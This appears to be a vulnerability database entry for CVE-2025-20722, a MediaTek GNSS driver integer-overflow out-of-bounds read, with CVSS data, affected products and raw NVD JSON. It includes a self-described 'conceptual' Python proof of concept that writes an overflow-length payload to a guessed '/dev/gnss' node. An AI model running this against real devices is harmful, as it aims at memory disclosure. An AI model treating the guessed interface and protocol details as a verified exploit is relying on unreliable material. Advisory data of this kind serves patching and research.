Security Vulnerability Report
中文
CVE-2025-20722 CVSS 5.5 MEDIUM

CVE-2025-20722

Published: 2025-10-14 10:15:37
Last Modified: 2025-10-15 18:45:08

Description

In gnss driver, there is a possible out of bounds read due to an integer overflow. This could lead to local information disclosure if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS09920036; Issue ID: MSV-3798.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:rdkcentral:rdk-b:2024q1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:openwrt:openwrt:23.05:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6878:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6886:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6897:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6899:-:*:*:*:*:*:*:* - NOT VULNERABLE
使用受影响MediaTek芯片组的Android设备(具体型号请参考MediaTek 2025年10月安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-20722 - MediaTek GNSS Driver Integer Overflow OOB Read PoC # This is a conceptual proof-of-concept demonstrating the vulnerability # The actual exploitation requires local System privilege on a MediaTek device import struct import socket def craft_malicious_gnss_payload(): """ Craft a malicious GNSS data payload that triggers integer overflow in the MediaTek GNSS driver, causing out-of-bounds read. """ # GNSS NMEA-like message structure # The vulnerability is triggered when processing length fields # that cause integer overflow in buffer calculations # Construct payload with overflow-triggering length field # Using 0xFFFFFFFF to cause 32-bit integer overflow overflow_length = struct.pack('<I', 0xFFFFFFFF) # Max uint32 value # GNSS message header header = b'\xB5\x62' # UBX protocol sync bytes (example) # Class and ID for GNSS message msg_class = b'\x02' # RXM class msg_id = b'\x15' # UBX-RXM-SFRBX or similar # Payload with overflow length payload = overflow_length + b'\x00' * 256 # Construct full message message = header + msg_class + msg_id + overflow_length + payload return message def trigger_vulnerability(): """ Attempt to trigger the vulnerability by sending crafted GNSS data to the MediaTek GNSS driver interface. Note: This requires: - Local access to the device - System privilege (already obtained via prior privilege escalation) - Access to the GNSS driver interface (e.g., /dev/gnss or similar) """ payload = craft_malicious_gnss_payload() try: # Attempt to communicate with GNSS driver # On Android, this might be through a unix socket or device node gnss_device = '/dev/gnss' with open(gnss_device, 'wb') as f: f.write(payload) print(f"[*] Sent malicious payload ({len(payload)} bytes) to {gnss_device}") print("[*] If vulnerable, the driver may read out-of-bounds memory") except PermissionError: print("[-] Permission denied. System privilege required.") except FileNotFoundError: print("[-] GNSS device not found. Device may not be affected.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=== CVE-2025-20722 PoC ===") print("MediaTek GNSS Driver Integer Overflow OOB Read") print("Requires: System privilege + Local access\n") trigger_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20722", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:37.070", "lastModified": "2025-10-15T18:45:07.507", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In gnss driver, there is a possible out of bounds read due to an integer overflow. This could lead to local information disclosure if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS09920036; Issue ID: MSV-3798."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rdkcentral:rdk-b:2024q1:*:*:*:*:*:*:*", "matchCriteriaId": "CB397DA1-62B3-48FD-B694-9FDA4DA25EDE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:23.05:*:*:*:*:*:*:*", "matchCriteriaId": "AED95D06-8EC6-4070-BE3C-E0F851D7FFC1"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:*", "matchCriteriaId": "19A63103-C708-48EC-B44D-5E465A6B79C5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6878:-:*:*:*:*:*:*:*", "matchCriteriaId": "855A8046-34ED-4891-ACE5-76AB10AC8D53"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6886:-:*:*:*:*:*:*:*", "matchCriteriaId": "AF3E2B84-DAFE-4E11-B23B-026F719475F5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6897:-:*:*:*:*:*:*:*", "matchCriteriaId": "2A7D8055-F4B6-41EE-A078-11D56285AB66"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6899:-:*:*:*:*:*:*:*", "matchCriteriaId": "C6E9F80F-9AC9-41E0-BB14-9DB6F14B62CD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6980d:-:*:*:*:*:*:*:*", "matchCriteriaId": "2758122C-4D11-4D34-9B72-3905F3A28448"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6985:-:*:*:*:*:*:*:*", "matchCriteriaId": "EA72CCD1-DEA2-48EB-8781-04CFDD41AAEE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6989:-:*:*:*:*:*:*:*", "matchCriteriaId": "AD7DE6B2-66D9-4A3E-B15F-D56505559255"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6990:-:*:*:*:*:*:*:*", "matchCriteriaId": "1A76806D-A4E3-466A-90CB-E9FFE478E7A0"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6991:-:*:*:*:*:*:*:*", "matchCriteriaId": "CBBB30DF-E963-4940-B742-F6801F68C3FC"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8676:-:*:*:*:*:*:*:*", "matchCriteriaId": "EE302F6F-170E-4350-A8F4-65BE0C50CB78"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8678:-:*:*:*:*:*:*:*", "matchCriteriaId": "152A5F3D-8004-4649-BDB1-E6F0798AF1CB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8775:-:*:*:*:*:*:*:*", "matchCriteriaId": "DE5FB550-7264-4879-BAF9-6798949113AF"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8791t:-:*:*:*:*:*:*:*", "matchCriteriaId": "1BB05B1D-77C9-4E42-91AD-9F087413DC20"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8796:-:*:*:*:*:*:*:*", "matchCriteriaId": "DE933AD9-3A6F-421B-8AB3-C45F8DEA9548"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8873:-:*:*:*:*:*:*:*", "matchCriteriaId": "D6DD525F-7050-42BD-829D-1121698B8009"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/October-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}